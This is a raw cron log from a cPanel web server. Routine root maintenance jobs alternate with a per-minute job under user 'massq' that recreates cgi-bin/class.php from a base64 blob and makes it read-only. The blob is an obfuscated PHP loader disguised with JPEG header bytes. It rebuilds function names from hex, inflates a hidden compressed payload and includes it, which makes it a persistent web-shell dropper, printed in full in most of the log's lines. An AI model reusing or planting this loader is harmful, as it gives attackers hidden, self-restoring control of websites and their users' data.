Sep  9 18:38:01 server CROND[10910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:38:01 server CROND[10911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:39:01 server CROND[11295]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 18:39:01 server CROND[11296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:39:01 server CROND[11298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:39:01 server CROND[11297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:40:01 server CROND[11700]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:40:01 server CROND[11703]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:40:01 server CROND[11701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:40:01 server CROND[11704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:40:01 server CROND[11709]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:40:01 server CROND[11708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:40:01 server CROND[11707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:40:01 server CROND[11706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:41:01 server CROND[12550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:41:01 server CROND[12549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:41:01 server CROND[12551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:42:01 server CROND[12931]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 18:42:01 server CROND[12932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:42:01 server CROND[12934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:42:01 server CROND[12933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:43:01 server CROND[13328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:43:01 server CROND[13329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:43:01 server CROND[13330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:44:01 server CROND[13803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:44:01 server CROND[13804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:44:01 server CROND[13806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:45:01 server CROND[14205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:45:01 server CROND[14207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:45:01 server CROND[14210]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:45:01 server CROND[14212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:45:01 server CROND[14214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:45:01 server CROND[14211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:45:01 server CROND[14209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:46:01 server CROND[15043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:46:01 server CROND[15044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:46:01 server CROND[15045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:47:01 server CROND[15421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:47:01 server CROND[15422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:47:01 server CROND[15423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:48:01 server CROND[15827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:48:01 server CROND[15828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:48:01 server CROND[15829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:49:01 server CROND[16296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:49:01 server CROND[16297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:49:01 server CROND[16298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:50:01 server CROND[16687]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:50:01 server CROND[16690]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
